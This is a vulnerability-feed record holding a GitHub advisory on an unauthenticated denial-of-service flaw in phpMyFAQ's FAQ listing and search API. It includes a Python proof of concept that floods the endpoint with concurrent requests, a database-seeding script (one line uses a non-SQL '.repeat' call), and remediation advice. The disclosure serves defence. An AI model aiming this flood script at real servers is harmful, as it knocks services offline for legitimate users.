{"schema":"threatline.record/2","record":{"id":"GHSA-m42f-6p37-2c79","aliases":["GHSA-m42f-6p37-2c79"],"summary":"Unauthenticated Denial of Service (DoS) via Uncontrolled Resource Consumption in API Pagination","details":"The REST API endpoints for listing FAQs (`GET /api/v4.0/faqs`) and searching (`GET /api/v4.0/search`) implement pagination at the application level rather than the database level. When an unauthenticated attacker requests these endpoints, the application fetches all matching records (or all published FAQs) from the database into PHP memory. It then iterates over the entire result set, performs string operations (like `strip_tags` and slug generation), and uses PHP's `usort` before slicing the array to return the requested page. On a sufficiently populated database, this leads to Uncontrolled Resource Consumption (CPU and Memory exhaustion), allowing a Denial of Service (DoS) attack.\r\n\r\n## Evidence\r\n\r\nThe implementation in `phpMyFAQ/Controller/Api/FaqController.php` (method `list`) retrieves records via `$this->faq->getAllFaqs()`, which ultimately executes a `SELECT` query in `FaqRepository::fetchAllFaqs` without any `LIMIT` or `OFFSET` clauses. \r\n\r\n`phpmyfaq/src/phpMyFAQ/Controller/Api/FaqController.php` from line 588 to 600\r\n\r\n```php\r\n            // Get all FAQs (this populates $this->faq->faqRecords)\r\n            $this->faq->getAllFaqs(\r\n                Faq::SORTING_TYPE_CATID_FAQID,\r\n                [\r\n                    'lang' => $this->configuration->getLanguage()->getLanguage(),\r\n                    'fcr.category_id' => $ignoreOrphanedFaqs ? 'IS NOT NULL' : null,\r\n                    'fd.status' => $onlyActive ? FaqStatus::Published->value : null,\r\n                ],\r\n                $sort->getOrderSql(),\r\n            );\r\n\r\n            $allFaqs = $this->faq->faqRecords;\r\n            $total = is_countable($allFaqs) ? count($allFaqs) : 0;\r\n```\r\n\r\nSimilarly, in `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` (method `search`), the code iterates over all results from the database, applies `strip_tags` and `usort`, and only then slices the array.\r\n\r\n```php\r\n        if ($searchResultSet->getNumberOfResults() > 0) {\r\n            $allResults = [];\r\n            foreach ($searchResultSet->getResultSet() as $data) {\r\n                $data->answer = strip_tags((string) $data->answer);\r\n                $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);\r\n                $data->link = sprintf(\r\n                    // ...\r\n                );\r\n                $allResults[] = $data;\r\n            }\r\n```\r\n\r\nLocally filling the database with 50,000 FAQs causes a single request to `GET /api/v4.0/faqs` to take multiple seconds and consume hundreds of megabytes of RAM. An unauthenticated attacker sending concurrent requests will exhaust PHP's memory limit or CPU capacity, denying service to legitimate users.\r\n\r\n## Impact\r\n\r\nAn unauthenticated attacker can send continuous HTTP GET requests to `/api/v4.0/faqs` or `/api/v4.0/search?q=%` to cause significant CPU and memory utilization on the application server. This will exhaust the server's resources, slow down response times, and eventually crash the application or the PHP-FPM pool, leading to a complete Denial of Service (DoS) for all legitimate users.\r\n\r\nIf the target database remains extremely small (under a few hundred records), the impact of this vulnerability is significantly reduced.\r\n\r\n## Counterevidence\r\n\r\nThe API limits the final JSON response to `per_page` (default 25, max 100). However, this limit is only applied via `array_slice` AFTER the entire dataset has been loaded from the database into a PHP array and processed (including HTML tag stripping, string formatting, and sorting via `usort`). This application-level pagination does not prevent the server-side resource exhaustion.\r\n\r\n## Technical Analysis\r\n\r\nThe application uses a fundamentally flawed architecture for API pagination. In `Controller/Api/FaqController.php` and `Controller/Api/SearchController.php`, the controllers invoke data-fetching methods (`getAllFaqs`, `searchDatabase`) that generate SQL queries without `LIMIT` or `OFFSET` clauses. Consequently, the database returns all matching rows (which for `/api/v4.0/faqs` defaults to all published FAQs). \r\n\r\nPHP loads the entire result set into an array, processes each element (e.g., executing string manipulation, HTML tag stripping, and URL generation), and then uses `usort` to apply sorting rules. Finally, `array_slice` is called to return only the requested page (e.g., 25 items). For databases with a large number of FAQs, this results in an uncontrolled consumption of CPU and memory per request (CWE-400). As this endpoint is completely unauthenticated and accessible to any visitor, it serves as an asymmetric DoS vector where a cheap HTTP request causes extremely expensive backend processing.\r\n\r\n## Database Population for testing\r\n\r\nTo first create a large enough database and test this vulnerability, we can use the following bash script to populate the database with 5,000 test FAQs.\r\n\r\n```bash\r\n# Run this in the phpmyfaq directory\r\nsqlite3 phpmyfaq/faq.db << 'EOF'\r\n-- Create test category\r\nINSERT INTO faq_faqcategories (id, lang, name, description, parent_id, level, path, user_id, group_id, perm_id, active)\r\nVALUES (999, 'en', 'Test Category', 'Auto-generated test category', 0, 0, '999', 1, 1, 1, 'yes');\r\n\r\n-- Insert 5,000 test FAQs\r\nWITH RECURSIVE nums(n) AS (\r\n  SELECT 1 UNION ALL SELECT n+1 FROM nums WHERE n < 5000\r\n)\r\nINSERT INTO faq_faqdata (lang, solution_id, revision_id, status, sticky, keywords, thema, content, author, email, comment, updated, date_start, date_end, created, notes)\r\nSELECT \r\n  'en',\r\n  n,\r\n  0,\r\n  'published',\r\n  0,\r\n  'test,faq,bulk,category',\r\n  'Test FAQ Question ' || n || ' - Vulnerability testing content',\r\n  '<p>This is the answer for FAQ ' || n || '. It contains <b>HTML tags</b> and <script>alert(1)</script> that need strip_tags processing. ' || \r\n  'Lorem ipsum dolor sit amet, consectetur adipiscing elit. '.repeat(5) ||\r\n  '</p>',\r\n  'Test Author ' || n,\r\n  'test' || n || '@example.com',\r\n  'y',\r\n  strftime('%Y%m%d%H%M%S', 'now'),\r\n  '00000000000000',\r\n  '99991231235959',\r\n  strftime('%Y%m%d%H%M%S', 'now'),\r\n  ''\r\nFROM nums;\r\n\r\n-- Link FAQs to test category\r\nWITH RECURSIVE nums(n) AS (\r\n  SELECT 1 UNION ALL SELECT n+1 FROM nums WHERE n < 5000\r\n)\r\nINSERT INTO faq_faqcategoryrelations (record_id, record_lang, category_id)\r\nSELECT n, 'en', 999 FROM nums;\r\nEOF\r\n```\r\n\r\n## Proof of Concept\r\n\r\n1. Ensure the phpMyFAQ instance has a large number of published FAQs (e.g., via bulk import or long-term usage).\r\n2. Send an unauthenticated HTTP GET request to `/api/v4.0/faqs` or `/api/v4.0/search?q=a`.\r\n3. Observe that the server takes significant time to respond and memory usage spikes, as it fetches all FAQs into memory before returning only the first 25.\r\n4. Send multiple concurrent requests to the endpoint to exhaust server CPU and memory.\r\n\r\n```python\r\nimport requests\r\nimport concurrent.futures\r\nimport time\r\nimport sys\r\n\r\nURL = \"http://127.0.0.1:8080/api/v4.0/faqs\"\r\n# Alternative: URL = \"http://127.0.0.1:8080/api/v4.0/search?q=test\"\r\nCONCURRENT_REQUESTS = 50\r\nREQUEST_TIMEOUT = 30\r\n\r\ndef trigger_dos():\r\n    try:\r\n        response = requests.get(URL, timeout=REQUEST_TIMEOUT)\r\n        return response.status_code, len(response.content)\r\n    except Exception as e:\r\n        return str(e), 0\r\n\r\ndef main():\r\n    print(f\"[*] Target: {URL}\")\r\n    print(f\"[*] Concurrent requests: {CONCURRENT_REQUESTS}\")\r\n    print(f\"[*] Starting DoS test...\")\r\n    \r\n    start_time = time.time()\r\n    \r\n    with concurrent.futures.ThreadPoolExecutor(max_workers=CONCURRENT_REQUESTS) as executor:\r\n        futures = [executor.submit(trigger_dos) for _ in range(CONCURRENT_REQUESTS)]\r\n        results = [f.result() for f in concurrent.futures.as_completed(futures)]\r\n    \r\n    elapsed = time.time() - start_time\r\n    success = sum(1 for r in results if isinstance(r[0], int) and r[0] == 200)\r\n    errors = sum(1 for r in results if not isinstance(r[0], int) or r[0] != 200)\r\n    \r\n    print(f\"[*] Completed in {elapsed:.2f} seconds\")\r\n    print(f\"[*] Successful: {success}, Errors: {errors}\")\r\n    print(f\"[*] Check server CPU/memory - should be exhausted\")\r\n    \r\n    # Check if server is still responsive\r\n    try:\r\n        r = requests.get(\"http://127.0.0.1:8080/\", timeout=5)\r\n        print(f\"[*] Server still responsive: {r.status_code}\")\r\n    except:\r\n        print(f\"[*] Server appears to be DOWN (DoS successful)\")\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n```\r\n\r\n\r\n## Remediation\r\n\r\nRefactor the pagination logic to use database-level constraints (`LIMIT` and `OFFSET`) instead of application-level array slicing. Update `getAllFaqs()` and `fetchAllFaqs()` to accept limit and offset parameters and apply them directly to the SQL queries. Introduce a separate `count()` method to accurately retrieve the total number of records for the pagination metadata without loading the actual rows.","categories":["Unclassified"],"product":"phpmyfaq/phpmyfaq","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-m42f-6p37-2c79","source_modified_at":"2026-10-03T11:35:37Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"ecosystem":"composer","name":"phpmyfaq/phpmyfaq"},"range":"<4.2.0-alpha.2"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-m42f-6p37-2c79","source_modified_at":"2026-10-03T11:35:37Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"ecosystem":"composer","name":"phpmyfaq/phpmyfaq"},"version":"4.2.0-beta"}],"cvss":null,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-03T11:35:37Z","modified_at":"2026-10-03T11:35:37Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-m42f-6p37-2c79","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-03T11:35:37Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-03T11:35:37Z","content_hash":"a3cc9a41525e5752a3a007db323a145a17b6a6c8d58114df8b5b970ad1a8b354"}}
